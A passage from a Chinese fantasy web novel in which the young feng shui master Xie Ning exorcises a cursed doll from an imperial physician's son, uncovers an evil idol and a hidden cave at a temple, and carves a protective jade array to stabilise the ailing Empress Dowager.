他们的声音里带着一丝颤抖,但更多的,是前所未有的坚
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定和赤诚。
谢宁坦然地受了他们这一拜,这才摆了摆手:“行了,都起来吧。我不是说过么,以后别动不动就跪,我不喜欢。”
“是!”
……
宫御医府邸。
宫御医坐在马车里,满脑子都是太后那诡异至极的脉象,以及谢宁那张云淡风轻,却仿佛能洞悉一切的脸。
他越想越觉得心惊,这世上,当真有这般神鬼莫测的手段?
正当他心事重重地回到府门口,还没下车,府里的管家就像是见了鬼一样,连滚带爬地冲了出来,脸上满是惊恐。
“老爷,老爷,不好了!少爷……少爷他疯了!”
“什么?”
宫御医只觉得脑子“嗡”的一声,眼前一黑,差点从马车上栽下来。
他一把推开管家,发了疯似的冲进府里,直奔儿**飞的卧房。
刚冲到门口,就听到里面传来一阵阵鬼哭狼嚎般的叫声,还夹杂着下人们惊慌的呼喊。
宫御医推门而入,眼前的景象让他睚眦欲裂。
只见他一向引以为傲的独**飞,此刻正被两个健壮的家丁死死地按在床上,披头散发,双目赤红,一张俊秀的脸扭曲得不成样子。
最让宫御医惊恐的是,宫飞时而嚎啕大哭,时而嘿嘿傻笑,嘴角还挂着长长的口水。
“飞儿。”
宫御医心如刀绞,大喊一声冲了过去。
宫飞似乎听到了他的声音,挣扎得更加厉害了,嘴里发出“呼噜呼噜”的怪叫。
突然,宫飞猛地挣脱一个家丁的压制,一头就朝着床边的墙壁狠狠撞了过去。
“快拦住他!”宫御医吓得魂飞魄散。
好在家丁反应快,再次将他扑倒在床上。
宫御医冲到床边,一把抓住儿子的手腕,三根手指闪电般地搭在了他的脉搏上。
然而下一秒,他整个人都愣住了。
脉象平稳有力,从容和缓,没有一丝一毫的病兆。
这……这怎么可能?
一个身体康健,脉象正常的人,怎么会突然变成这副疯癫模样?
第六十二章 宫御医求助
“到底怎么回事?”
宫御医双目赤红,扭头冲着房里一个瑟瑟发抖的小厮怒吼道。
那小厮吓得一哆嗦,结结巴巴地回道:“回……回老爷,少爷昨天和张侍郎家的公子们,去了城郊的乱葬岗那边玩儿,说是去寻刺激……”
“乱葬岗?”宫御医心头一沉,那种地方阴气极重,最容易招惹不干净的东西。
宫御医神色凝重,现在皇太后那边结果如何尚不得知,现在自家儿子又出了这档子事儿,这不是添乱么。
“对了老爷,少爷还带回来一个东西……”
小厮像是想起了什么,颤抖着手指,指向了不远处桌案上的一个东西。
宫御医顺着他指的方向看去。
那是一个巴掌大小的泥塑娃娃。
娃娃穿着红色的衣裤,脸上涂着两坨夸张的腮红,一双用墨点出来的眼珠子又黑又大。
最诡异的是娃娃嘴角咧开,勾勒出一个极为怪异的笑容。
明明是个娃娃,却透着一股说不出的邪气,让人看上一眼,就觉得毛骨悚然。
宫御医死死地盯着那个泥塑娃娃,只觉得一股寒气顺着脊梁骨疯狂地往上窜。
医术,在这一刻显得如此苍白无力。
突然,他的脑中灵光一闪,猛地浮现出谢宁那张年轻而又从容的脸。
对,谢宁!
他能一眼看出太后是中了邪术,那一定也能看出自己儿子这是怎么回事!
“来人!”宫御医像是抓住了最后一根救命稻草,当机立断地大吼道:“用黑布把那东西给包起来。快!备车!去定远侯府!”
定远侯府。
谢宁的院落大门外,已经换上了新招来的护院。
一个个站得笔挺,眼神锐利,比先前贾一博安排的歪瓜裂枣强了不止一个档次。
宫御医的马车几乎是横冲直撞地停在了侯府门口,他本人更是连滚带爬地跳下车,神情焦急。
“快,快通报,太医院宫作为,有急事求见谢世子!”
守门的护院虽然不认识宫御医,但看他一身官服,气度不凡,又指名道姓要见谢宁,虽然不情愿,倒也不敢怠慢,立刻便有一人转身进去通报。
不多时,明月便亲自出门来将人迎了进去。
明月一走,这名护院便匆匆去往了贾一博的院子。
摆明了是去将情况禀报给贾一博的。
谢宁正在院子里,好整以暇地喝着茶,倒是也没料到宫御医会来。
宫御医一见到谢宁,也顾不上什么礼数了,两腿一软,竟是“扑通”一声就要跪下。
“谢世子,救救犬子性命啊!”
“宫御医这是做什么,快快请起。”
谢宁手一抬,一股柔和的力道便托住了宫御医下跪的膝盖,让他怎么也跪不下去。
他打量了一眼宫御医的面相,印堂发黑,头顶盘绕着一丝若有若无的黑气,正是家宅不宁,亲人遭劫之相。
“你家中可是沾染了什么不干净的东西?”谢宁放下茶杯,淡淡开口。
一句话,便让宫御医心神剧震,满脸的不可思议。
自己还没开口,谢宁竟已将事情的根源说了出来。
也是到了这个时候,宫御医心中最后一丝疑虑也烟消云散,他愈发肯定,只有谢宁才能救自己的儿子。
“世子料事如神!”
宫御医声音都在颤抖,连忙从怀中取出一个用黑布包裹得严严实实的东西,双手奉上。
“犬子昨日从城郊误带回此物,之后便神志不清,状若疯癫,求世子救命!”
谢宁接过了那个布包。
入手便是一阵刺骨的阴寒,仿佛握住的不是一个泥娃娃,而是一块寒冰。
他甚至都没有解开黑布,便冷笑一声:“好一个替身邪物,以活人精气蕴养,这是想拿你儿子的命,去养一只小鬼啊。”
宫御医听得是毛骨悚然,浑身汗**倒竖。
养鬼!
他只是个大夫,哪里听过这等阴邪之事,一时间吓得嘴唇都哆嗦了。
“世子,这……这可如何是好?”
“带路吧。”
谢宁站起身,将那布包随手抛给身后的明月。
“再耽搁下去,你儿子怕是就要被吸成人干,到时
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候大罗金仙来了也救不活了。”
宫御医哪敢再有半点迟疑,连声道谢,亲自在前面引路,带着谢宁和明月坐上自己的马车,一路风驰电掣地赶回了宫府。
刚一进宫飞的卧房,一股浓郁的阴气便扑面而来,还夹杂着一股淡淡的腐臭味。
床上的宫飞已经被用绳子牢牢捆住,但他依旧在疯狂地挣扎,嘴里发出意义不明的嘶吼,双眼翻白,口吐白沫,整个人比之前又消瘦了一圈,眼窝深陷,面如金纸。
“准备朱砂,黄纸,还有一只活蹦乱跳的大公鸡,快!”
谢宁只是扫了一眼,便沉声吩咐道。
宫府的下人不敢怠慢,很快便将东西备齐。
谢宁取过狼毫笔,沾满朱砂,屏息凝神,笔走龙蛇,很快便在黄纸上画出了一道玄奥复杂的破煞符。
他将符纸一把抓起,另一只手捏住还在扑腾的公鸡,手起指落,一滴滚烫的鸡血,精准地滴在了符胆之上。
“嗡”的一声,那道符仿佛活了过来,竟隐隐散发出微弱的红光。
“敕!”
谢宁口中吐出一个音节,手腕一抖,那符纸便无火自燃,化作一团烈焰。
他拿着燃烧的符纸,快步走到床边,在宫飞头顶三尺之处,飞快地绕了三圈。
“孽障,还不出来!”
只听“嗤啦”一声,一缕比头发丝还细的黑气,猛地从宫飞的天灵盖中被逼了出来,发出一声刺耳的尖啸,化作一道黑光,就想往窗外逃窜。
“想走?”谢宁眼中寒光一闪,早已有所准备。
他身后的明月心领神会,在黑气窜出的瞬间,便将那个用黑布包裹的泥塑娃娃,猛地抛到了半空中。
那缕黑气像是被磁石吸引的铁屑,又像是终于找到了归宿的游魂,发出一声欢快的嘶鸣,一头便钻进了泥塑娃娃之中。
“咔嚓……咔嚓……”
被黑气入体的泥塑娃娃,瞬间像是活了过来。
它那张诡异的笑脸,开始以一种令人头皮发麻的方式扭曲,挣扎,身体表面也浮现出一道道裂纹,发出刺耳的碎裂声。
第六十三章 又是大佛寺
“哼,区区阴魂,也敢放肆!”
谢宁冷哼一声,不给它任何机会。
他运转先天八卦,对着半空中那诡异的娃娃遥遥一指!
一道看似微弱,却充满了至阳至刚之气的金光,从谢宁的指尖爆射而出,精准地打在了泥塑娃娃的身上。
“啊!”
一声不似人声的凄厉惨叫,猛地从娃娃体内传出,尖锐得几乎要刺破人的耳膜。
“砰!”
在金光的照射下,那邪异的泥塑娃娃,仿佛烈日下的冰雪,连一息都没能撑住,便在半空中轰然炸开,化作一蓬黑色的齑粉,随风飘散。
床上的宫飞,也同时发出一声撕心裂肺的惨叫,猛地弓起身子,张口喷出了一大口腥臭的黑血,而后两眼一翻,直挺挺地昏**过去。
房间里的阴寒之气,瞬间消散得无影无踪。
谢宁深吸了一口气,神色淡然地拍了拍手。
“行了,邪气已除,人没事了。就是精气亏损得厉害,没有一年半载的精心调养,怕是恢复不过来了。”
宫御医颤抖着上前,伸手探了探儿子的鼻息,虽然微弱,但平稳悠长。
再看他面色,虽然苍白如纸,但那股邪异的癫狂之气已经彻底消失。
他知道,儿子得救了!
宫御医回过头,再也抑制不住内心的激动和感激,对着谢宁深深地行了一个长揖及地的大礼。
“谢世子救命之恩,宫作为没齿难忘!”
“日后但凡世子有任何差遣,宫某便是上刀山,下油锅,也万死不辞!”
一个太医院的太医,手握无数人脉资源,甚至能影响到宫中局势的人物,他的这个承诺,分量何其之重。
谢宁坦然受了这一礼,他知道,从今天起,自己在这盘棋上,又落下了一枚至关重要的棋子。
他扶起宫御医,笑道:“宫御医言重了。不过,我倒是真有一事想请教一二。”
“世子请讲,宫某知无不言!”
谢宁的目光变得深邃起来,他缓缓开口:“我听说,这世上有一种邪术,能让人在不知不觉中,精气耗尽,气运流失,最后变成活**。不知宫御医,可曾听闻过类似的病例?”
宫御医闻言,浑身一震。
这……这说的不就是太后娘娘的病症么?
他瞬间明白,谢宁这是在点他!
“世子是说……”
“没错。”谢宁点了点头,“太后的情况,和你儿子有几分相似,但手段要高明得多,也隐蔽得多。对方不是想要太后的命,而是想让她一直这么病着。”
宫御医听得冷汗涔涔。
他立刻道:“世子放心,此事宫某心中有数,从今日起,慈宁宫但凡有任何风吹草动,宫某一定第一时间,禀报世子!”
“如此,便有劳宫御医了。”谢宁满意地点了点头。
一报还一报,他救了宫御医的儿子,宫御医替他在宫里当眼睛,这买卖,划算。
谢宁婉拒了宫御医的千恩万谢和重金酬劳,带着明月回到定远侯府时,已是夜色深沉。
刚踏进院门,清风便迎了上来,神色中带着几分凝重。
“公子,您交代的事情,都有消息了。”
谢宁点了点头,示意他进屋详谈。
三人落座,明月先开了口,只是他脸上的表情,带着几分说不出的古怪和好笑。
“公子,监视贾辉祖那边的人回报,他今天一天都没出府,只是到了下午,鬼鬼祟祟地派了个小厮,跑了好几家药铺,最后在一家不起眼的铺子里,抓了好几副药。”
“小的让人弄到了药方,您瞧瞧。”
明月从怀里掏出一张纸条递了过去。
谢宁接过来一看,只见上面写的都是些虎鞭、鹿茸、狗肾之类的东西,方子开得极为猛烈,是虎狼之药。
他差点没笑出声来。
“那蠢货,被我传了霉运,一身的精气神都快被掏空了,不想着固本培元,还想着吃这些东西去青楼逞威风?”
谢宁摇着头,啧啧称奇。
“真是茅房里点灯,找死啊。由他去吧,他越是折腾,倒是省了我不少事。”
一个
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不成器的草包,已经不值得他再多费心神。
“宇文月那边呢?”谢宁随手将药方扔到一旁,又问道。
“宇文月……”清风接过话头,语气里带着几分感慨,“他自从诗会之后,便将自己关在书房里,好些日子没出过门了。”
“今天下午,他府上的下人看到他书房里冒出浓烟,还以为是着了火,撞进去一看,才发现,他竟是把自己过去写的那些诗词歌赋,全都少了。”
“据说,他还把那支跟了他十多年的紫毫笔也当场给折成了两段。”
谢宁闻言,只是端起茶杯,轻轻吹了吹浮沫,脸上没有太多表情。
“宇文月心比天高,命比纸薄,这辈子怕是也就止步于此了。”
谢宁话音落下,清风又道:“公子,最重要的,是贤王府的消息。”
清风收敛心神,脸色终于变得严肃起来。
“我们的人一直远远盯着,发现今天下午,有一辆极其低调的马车,从贤王府的侧门驶出,一路小心翼翼,最后去了城郊的大佛寺。”
“大佛寺?”谢宁的动作一顿,端着茶杯的手停在了半空。
“不止如此。”
清风继续道:“我们的人还打听到一个消息,最近这几日,京城里突然开始流传一个说法,说城郊大佛寺新塑了一尊送子观音像,求子嗣特别灵验。”
“已经有不少高门大户的贵妇听信了传言,偷偷摸摸地往大佛寺跑,香火一下子就旺盛了起来。”
又是大佛寺!
谢宁的眼睛微微眯起。
最近这大佛寺似乎很不太平啊。
贤王府的马车,也去了大佛寺。
现在,大佛寺又突然搞出个什么“求子灵验”的噱头来。
这一切,若说是巧合,那也未免太巧了!
他想起了李庆宁中的四阴绝户局,想起了皇太后那慢性消磨生机的诡异邪术。
这些歹毒的术法,都需要源源不断的阴邪能量来维持。
那么,能量从何而来?
一个可怕的猜想,浮现在他的心头。
第六十四章 大佛寺
“明天一早,我们去大佛寺一趟,瞧一瞧那所谓的送子观音。”谢宁话音一落,清风明月皆是一楞。
“公子,我们三个一起去,会不会太显眼了?”清风有些担忧。
“我们是去上香,又不是去砸场子,有什么显眼的?”
谢宁看了他一眼。
“你们两个,明天就扮成我的随从家丁。”
“咱们也去求一求,看看那观音,到底灵不灵。”
清风和明月听到这话,表情都有点古怪。
去求观音?
还是跟着公子一起去?
这画面,怎么觉得有些别扭。
“就这么定了。”
谢宁一挥手,做了最终决定。
“你们先去休息吧,养足精神,明天跟我去见识见识,这大佛寺的佛,到底有多大。”
……
第二天天刚放亮,谢宁便带着换了一身普通家丁衣服的清风和明月,悄无声息地离开了定远侯府。
三人雇了一辆最普通的马车,一路朝着城郊的大佛寺驶去。
马车晃晃悠悠,越是靠近大佛寺,路上的行人香客就越多。
而且,几乎都是女眷。
其中不乏一些乘坐着华丽马车,一看就是高门大户里的贵妇人。
她们一个个脸上都带着虔诚和期盼,显然都是冲着那个送子观音去的。
“公子,看来这传言是真的,香火不是一般的旺啊。”
清风掀开车帘,看着外面的景象,低声说道。
“人越多,才越有意思。”
谢宁闭着眼睛靠在车厢里,淡淡地道。
鱼多了,水才会混。
水混了,才好摸鱼。
他倒是很期待,今天能摸到一条什么样的大鱼。
马车在山脚下停住。
谢宁三人下了车,随着拥挤的人流,一步步朝着山上的大佛寺行去。
大佛寺修建得气势恢宏,红墙金瓦,在阳光下熠熠生辉,确实有一派皇家寺庙的派头。
寺庙门口,两个僧人满脸堆笑地迎接着每一位香客,嘴里念着佛号,看起来慈眉善目。
可谢宁只看了一眼,就察觉到了不对劲。
这些和尚身上没有半点佛门中人该有的祥和之气。
反倒是眉宇之间,都缠绕着一丝若有若无的黑气。
一个个印堂发暗,眼白浑浊。
这是典型的阳气亏损,被阴邪之气侵蚀的迹象。
看来,这个大佛寺从里到外,都已经烂透了。
谢宁不动声色,领着清风明月随着人流走进了寺庙。
一进大雄宝殿,一股浓郁的香火气气息便扑面而来。
大殿里人头攒动,几乎所有的香客,都朝着一个方向涌去。
那就是供奉着那尊送子观音的偏殿。
谢宁也跟着走了过去。
还没进偏殿,他就感觉到了一股极为古怪的气息。
这股气息,一半是精纯的香火愿力,带着神圣祥和的感觉。
而另一半,却是冰冷刺骨,充满了死寂和怨毒的阴邪之气。
两种截然不同的力量,竟然诡异地融合在了一起,盘踞在那座偏殿之中。
谢宁的眉头,皱得更深了。
他迈步走进偏殿,一眼就看到了那尊被无数香客围着,顶礼膜拜的送子观音像。
那是一尊白玉雕琢而成的观音像,法相庄严,嘴角含笑,怀里还抱着一个粉雕玉琢的童子。
看起来,确实是慈悲无比。
但谢宁运起先天八卦图一看,整张脸都沉了下去。
只见那观音像的内部,根本不是什么祥和的佛光。
而是一团浓郁到化不开的黑气!
这黑气之中,仿佛有无数张痛苦扭曲的婴孩面孔在哀嚎,在挣扎。
而在观音像的头顶,那精纯的香火愿力,正源源不断地被它吸入体内,然后转化成更为精纯的阴邪之力。
好一个挂羊头卖狗肉的邪神。
这哪里是什么送子观音。
这分明就是一尊以香火为食,以婴孩怨气为根基的邪神。
那些前来拜祭的贵妇,她们求来的根本不是什么子嗣,而是缠绕在她们身上的,一道道催命的阴煞之气。
这阴气会不断地侵蚀她们的身体和气运,就算她们真的怀上了孩子,到时候生下来的,也绝对不会是什么正常的东西。
想到这里,谢宁的眼中只剩下冰冷的杀意。
这帮畜生
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,真是该死!
他强压下心中的怒火,目光开始在人群中仔细地搜寻起来。
他倒是要看看,到底是谁在主持这个恶毒的局。
就在这时,一个女人的身影引起了他的注意。
那个女人穿着一身素雅的衣裙,看起来也是个大户人家的女眷。
她跪在蒲团上,正对着那尊观音像,无比虔诚地磕着头。
可谢宁却看得清清楚楚。
在她的头顶上,正盘绕着一团浓得快要滴出水的黑气。
在那黑气之中,还有一个面目狰狞,浑身是血的婴孩虚影。
在谢宁看去时,那婴孩儿虚影正张着嘴,死死地咬着她的脖子,疯狂地吸食着她的精气。
这个女人,被阴魂缠身了!
而且,看这阴魂的模样,分明就是一只小鬼!
谢宁神色一凛,注意力开始放在女人的身上。
女人跪在观音像前虔诚拜了许久后,才从蒲团上颤颤巍巍地站起。
说是站起,但她的脚步虚浮,仿佛一阵风就能把她吹倒。
谢宁真担心她的双腿支撑不住身体的重量,直接摔在观音像面前。
且她的脸色是一种很不正常的苍白,嘴唇也没有一丝血色。
这是精气被大量吸食后的典型症状。
可她身边的丫鬟,还有周围的香客,却好像完全没有察觉到她的异样。
所有人的注意力,都还停留在那尊诡异的观音像上。
女人站起身后,并没有像其他香客那样直接离开偏殿。
她犹豫了一下,而后朝着偏殿侧面的一个小门走了过去。
谢宁的眼睛微微一眯。
有门道!
他立刻给清风和明月使了个眼色,三人悄无声息地跟了上去。
那个小门后面,是一条安静的游廊。
和前面人声鼎沸的大殿比起来,这里简直是两个世界。
女人提着裙摆,脚步有些踉跄地,顺着游廊一直朝着寺庙的后山方向走去。
她的神情看起来有些恍惚,又带着几分挣扎和恐惧。
就好像,她的身体里有两个灵魂在打架一样。
一个想往前走,一个却想拼命地逃离。
第六十五章 神秘山洞
谢宁跟在后面,心里已经有了猜测。
这个女人,恐怕不是自愿的。
她很可能已经被那个缠在她身上的小鬼给控制了心神。
“公子,这女人去的方向好像越来越偏僻了。”
明月压低了声音说道。
“跟紧了,别跟丢了。”
谢宁的语气很平淡。
他倒要看看,这小鬼到底想把这个女人带到哪里去。
穿过长长的游廊,又绕过几座僧人居住的禅院。
眼前的景象,开始变得荒凉起来。
这里已经是大佛寺的后山范围,杂草丛生,乱石遍地,几乎看不到什么人烟。
环顾四周,也只有一条被人踩出来的小路,蜿蜒着通向深山之中。
那个女人就像是一个没有灵魂的木偶,依旧面无表情地,顺着那条小路,深一脚浅一脚地往前走。
清风和明月神色凝重,始终观察着四周。
没来由地,清风抹了一把脸。
“这大白天的,怎么感觉有点儿瘆得慌。”
清风小声开口,他的目光看向前方不断前行的女人,更觉得后脖颈子发凉。
若是面对一伙穷凶极恶的盗匪,清风怕是眼睛都不会眨一下,可面对这些神神道道之物,他的心里始终是没底。
谢宁的表情,倒是没什么变化。
他只是仔细地观察着四周的环境。
这里的阴气比寺庙大殿里还要浓郁得多。
空气里,甚至都飘荡着一股若有若无的血腥味和腐臭味。
看来,正主儿就藏在这后山里。
又往前走了大概一炷香的时间。
前面的女人突然在一个长满了半人高荒草的斜坡前停下了脚步。
她站在原地,身体开始剧烈地颤抖起来。
她的脸上露出极度惊恐的表情,嘴巴一张一合,似乎在无声地尖叫着。
但很快,那份惊恐就被一种诡异的麻木所取代。
只见她,竟然就那么直挺挺地,朝着那片荒草丛里走了进去。
诡异的一幕发生了。
女人的身影,在踏入荒草丛的瞬间,就好像凭空消失了一般。
连一点痕迹都没留下。
“人呢?”
明月惊呼出声,眼睛瞪得老大。
清风也是一脸的震惊。
大变活人?
这怎么可能?
“不是消失了。”
谢宁的声音,很冷静。
“那里应该有什么东西。”
他快步走到那个斜坡前,仔细地观察着那片看起来平平无奇的荒草。
果然,在荒草丛的深处,他感觉到了一股微弱的波动。
“居然是幻术。”
谢宁有些入神,幻术这东西没有攻击性,不过只是施术者利用周围环境,在视觉上制造了一个假象而已。
他震惊的是,就算是他现在想要制造出一个幻术,也几乎是不可能的,这建安城内,居然还有这等人物。
更恐怖的是,这等人物,谢宁从未听人说起过。
眼前之术,若不是像谢宁这样精通风水术法的人,就算是走到跟前,也绝对发现不了任何端倪。
“公子,幻术是什么?”
清风小心翼翼地站在草里用手探了探,却是全无发现。
“现在不是解释的时间,简单来说,就是一道看不见的门。”
清风似懂非懂地又上前几步。
“您是说这里有暗门?”
谢宁点了点头。
“差不多就是这个意思。”
话音未落,谢宁伸出手,并起食指和中指,指尖上,一缕微不可察的金光一闪而过。
“破!”
他口中轻喝一声,手指对着那片荒草丛凌空一点。
只是一点,却见那片荒草突然像是被风吹过一般,剧烈地晃动了一下。
紧接着,眼前的景象就发生了变化。
原本的荒草斜坡,竟然从中间缓缓地裂开了一道缝隙。
一个黑漆漆的,不知道通往哪里的洞窟入口,就这么出现在了三人面前。
一股比之前浓郁了十倍不止的阴寒之气,混杂着令人作呕的血腥味,猛地从洞窟里喷涌而出。
清风和明月猝不及防,被这股气息一冲,齐齐打了个冷战,脸色都白了几分。
他们这才明白,刚才那个女人,就是走进这个洞窟里去了。
“好重的阴气。”
谢宁的眉头紧紧一锁。
“这里面怕不是**一两个人那么简单。”
“公子,我们要不要进去看看?”明月强忍着不
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适,朝着那洞口看了几眼,开口问道。
谢宁看了一眼深不见底的洞口,沉吟了片刻。
目前里面的情况不明。
那个风水师的道行比他想象的还要高,若是贸然闯进去,于己不利,还有可能打草惊蛇。
一旦让对方有了防备,再想抓住他可就难了。
而且,这个洞窟里还不知道藏着多少邪物。
就凭他们三个人,硬闯进去,风险太大了。
“不。”
谢宁摇了摇头。
“今天就先到这里,先回去。这个地方,我迟早要把它给掀个底朝天,但不是现在。”
现在动手不是最好的时机。
他需要一个更周全的计划。
一个能把这帮牛鬼蛇神一网打尽的计划。
“走。”
谢宁最后看了一眼那个洞窟,眼神冰冷。
他伸手一挥,那被破开的幻术又一次恢复了原样。
从外面看,这里依旧是一片平平无奇的荒草坡。
三人悄无声息地原路返回,一直到出了大佛寺的范围,谢宁的眼神才又重新恢复了冰冷。
今日一行,收获颇丰。
回到定远侯府的时候,天色已近黄昏。
谢宁的脸色一直都不太好看。
大佛寺后山那个阴气冲天的洞窟,就像一块巨石,沉甸甸地压在他的心头。
他现在几乎可以肯定,那个洞窟就是整个阴谋的核心。
无论是给李庆宁下的四阴绝户局,还是给太后下的邪术,能量的来源很可能都跟那个洞窟有关。
还有那个所谓的送子观音,八成也是为了给那个洞窟提供源源不断的能量才塑造。
这帮人,简直是在拿人命当柴火烧啊。
真是无法无天了!
“公子,您也别太生气了。”
清风看着谢宁阴沉的脸,小心翼翼地劝道。
“对付女人和小孩儿,这群人也不怕遭报应。”
“报应?”
谢宁冷笑一声。
“我从来不信什么报应。我只信,血债,需要血来偿。这帮杂碎,我一个都不会放过。”
他说这话的时候,语气很平淡,但清风和明月却听得心头一颤。
他们知道,公子这是真的动了杀心了。
第六十六章 东西齐了
三人刚走进院子,就看到一个眼生的小太监,正一脸焦急地等在院门口。
看到谢宁回来,那小太监像是看到了救星,连忙小跑着迎了上来。
“哎哟,谢世子,您可算是回来了。”
“奴才都在这儿等了您大半天了。”
“你是?”谢宁看了他一眼。
“奴才是慈宁宫的。”
小太监连忙躬身行礼。
“是长公主殿下让奴才来给您传话的。公主殿下说,您之前吩咐要找的东西,都已经找齐了。请您尽快进宫为太后娘娘稳固病情。”
东西找齐了?
谢宁闻言,精神一振。
这可真是瞌睡了就有人送枕头。
他正愁怎么对付大佛寺那帮家伙呢。
现在,正好可以先进宫,把皇太后那边的事情先处理好。
一来,可以彻底解除李庆宁的后顾之忧。
二来,他也能借着这件事,跟李庆宁好好商量一下,接下来该怎么对付大佛寺和贤王。
毕竟,大佛寺是皇家寺庙。
贤王又是皇亲国戚。
想要动他们,光靠自己一个人,还是有点麻烦。
必须要有李庆宁和皇室支持才行。
“我知道了。”
谢宁点了点头。
“你先回去复命吧,告诉公主,我稍作准备,马上就进宫。”
“是,那奴才就先告退了。”
小太监如蒙大赦,行了个礼,一溜烟儿地跑了。
“清风,明月。”
谢宁转头看向身后的两人。
“你们两个就留在府里,继续给我盯紧了贾一博和他那个废物儿子,看看他们最近还有没有什么小动作。同时加强院子里的守卫。”
谢宁的眼神,突然变得严肃起来。
“我总觉得大佛寺那帮人很可能已经察觉到了什么。我不在的时候,你们务必要小心。”
虽然他在后山洞口,已经把痕迹都抹除了。
但那个风水师的道行不浅,谁也说不准,他会不会有什么特殊的感应手段。
不得不防。
“公子放心!”
清风和明月齐声应道。
“只要我们还有一口气在,就绝不会让任何人,踏进这个院子半步!”
“嗯。”
谢宁点了点头,没再多说什么,转身便进了屋。
他换了一身干净的衣服,稍微整理了一下仪容,便再次出了门,直奔皇宫而去。
当谢宁乘坐着长公主府的马车再次来到慈宁宫的时候,他发现这里的气氛比上次来的时候还要压抑。
宫女太监们一个个垂着头,走路都跟猫一样,不敢发出半点声音。
空气里,那股浓郁的药味,也变得更加刺鼻了。
显然,这两天太后的情况并没有任何好转。
谢宁刚走进寝殿,李庆宁和李庆志就立刻迎了上来。
姐弟俩的脸上都写满了焦虑和担忧,李庆宁的眼圈还有些泛红。
“你可算来了。”
李庆宁看到谢宁,眼中的焦虑才稍微缓解了一些,声音里都带上了一丝不易察觉的依赖。
“姐夫!”
李庆志也是一脸的期盼。
“嗯,我来了。”
谢宁先是安抚地拍了拍李庆志的肩膀,然后看向李庆宁。
“东西呢?”
“都准备好了,就在里面。”
李庆宁连忙领着他,进到了寝殿的内室。
只见内室的桌子上,已经摆放好了他之前交代过的所有东西。
朱砂,黄纸,这些都是最基本的。
最引人注目的,是旁边放着的两样东西。
一块半人多高,通体温润,散发着柔和光晕的巨大玉胚。
这块暖玉的成色,就算是谢宁也是生平仅见,一看就是极品中的极品。
在玉胚的旁边,还放着一截手臂粗细,看起来平平无奇的黑色木头。
但这木头一靠近,就能闻到一股沁人心脾的异香。
这,就是谢宁要的沉香木。
皇家内库的底蕴果然深不可测。
这么珍贵的东西,说找来就找来了。
“辛苦你了。”
谢宁看着李庆宁憔悴的脸,有些心疼地说道。
为了找这些东西,她这两天肯定也没怎么合眼。
“只要能救母后,再辛苦也值得。”
李庆宁摇了摇头,目光落在凤榻上那个毫无生气的人影上。
“谢宁,现在,就都靠你了。”
“放心吧。”
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>谢宁给了她一个安心的眼神。
“有我在,皇太后不会有事的。”
说完,他深吸了一口气,走到了桌前。
他知道,接下来将是一场硬仗。
他要做的,不是直接破除那个邪术。
而是要在那个邪术的基础上,再布置一个阵法。
一个能够将邪术的吸噬之力隔绝开来的阵法。
布置这个阵法,对施法者的掌控力要求极高。
稍有不慎,不仅救不了太后,反而可能会让他当场毙命。
但谢宁有这个自信!
“你们都退到外面去,守住门口,不要让任何人进来打扰我。”
谢宁转过头,对着李庆宁姐弟俩说道。
他接下来要做的事情,不能被外人看到。
“好!”
李庆宁重重地点了点头,没有丝毫的犹豫。
她拉着还有些不放心的李庆志快步退出了内室,并且亲自守在了门口。
整个内室瞬间安静了下来。
只剩下谢宁,还有躺在床上,如同活**一般的皇太后。
谢宁没有立刻动手。
他先是走到了床边,再次为皇太后诊了诊脉。
情况比他上次探查的时候还要糟糕一些。
皇太后体内的生机和气运,就像是开了闸的洪水,流逝得非常快。
那股阴邪之力已经快要彻底压倒她自身的气运了。
再这么下去,不出三天,皇太后就算不死,也得变成一个彻彻底底的废人。
“手段还真是够毒的。”
谢宁眉目一凝,收回手走回到桌案前。
他先是拿起那支狼毫笔,沾满了朱砂,而后深吸一口气,将体内的先天真气缓缓注入到笔尖之上。
紧接着他又拿起那块巨大的暖玉玉胚,开始在上面迅速地刻画起来。
他画的不是什么符咒。
而是一副极其复杂的阵图。
这副阵图名为固元锁阳阵。
乃是老道士教给他的一种上古阵法。
此阵法不能攻敌,也不能防御。
它唯一的作用,就是能够锁住阵内之人的精气和气运,让其不外泄分毫。
就好像给一个漏水的木桶,从外面打上了一层坚固的铁箍。
第六十七章 固元锁阳
虽然不能从根本上解决漏水的问题,却能最大限度地延缓漏水的速度。
这,才是谢宁现在要做的。
随着谢宁的笔尖在玉胚上游走,一道道闪烁着微光的红色纹路,开始在玉胚的表面浮现。
整个过程,谢宁的神情都无比专注,额头上甚至渗出了一层细密的汗珠。
在玉石上刻画阵图,比在符纸上画符,难度要高上不少。
它不仅要求施法者对阵图的每一个细节都了如指掌,更要求施法者对力道的掌控,达到一个匪夷所思的程度。
力道重一分,痕迹便不明显。
力道轻一分,阵图的效果就会大打折扣。
时间,一分一秒地过去。
足足用了一炷香的时间,谢宁才终于刻完了最后一笔。
在他收笔的瞬间,“嗡”地一声,整块暖玉玉胚,竟发出一声轻微的鸣响。
玉胚表面上那些红色的阵图纹路瞬间大放光芒,而后又迅速地隐没进了玉胚的内部,消失不见。
从外面看,这块玉胚,好像又恢复了之前的样子。
只有谢宁知道,它已经不一样了。
现在,这已经不是一块普通的暖玉。
而是一件能够承载阵法之力的法器!
谢宁擦了擦额头上的汗,长长地舒了一口气。
第一步到这里,才算是成功了。
接下来就是第二步,也是最关键的一步。
他走到床边,费了九牛二虎之力,才将那块半人高的玉胚,小心翼翼地塞进了凤榻的床底。
正好就放在皇太后身体的正下方。
做完这一切,谢宁又拿起了那截百年沉香木。
他将沉香木放在了床头的香炉里,然后用火折子点燃。
一股比之前更加浓郁,也更加纯粹的异香,瞬间弥漫了整个寝殿。
这百年沉香木,乃是木中精华,天生就带着一股至阳之气。
它燃烧时产生的香气,不仅能凝神静气,更重要的,是能够中和阴邪之气,为固元锁阳阵提供源源不断的阳气支持。
这就相当于给阵法上了一个双保险。
最后,谢宁取过一张黄纸,再次用朱砂画了一道定魂符,而后将符纸折成一个三角形,轻轻地放在了皇太后的额头上。
“敕!”
随着他一声低喝。
床下的暖玉玉胚,香炉里的沉香木,还有皇太后额头上的符纸,三者之间,仿佛产生了一种奇妙的联系。
一道肉眼看不见的光罩,瞬间以皇太后的身体为中心,如同一个倒扣的碗,将其稳稳罩了起来。
那股原本在她体内疯狂肆虐,不断吞噬她生机的阴邪之力,在接触到这个护盾的瞬间,就好像撞上了一堵无形的墙壁。
虽然它依旧在不断地冲击着,但却再也无法像之前那样,肆无忌惮地吞噬皇太后的生机了。
谢宁再次探了探皇太后的脉搏。
果然,那原本时而强劲,时而微弱的诡异脉象,开始渐渐地平稳了下来。
虽然依旧很虚弱,但却不再混乱。
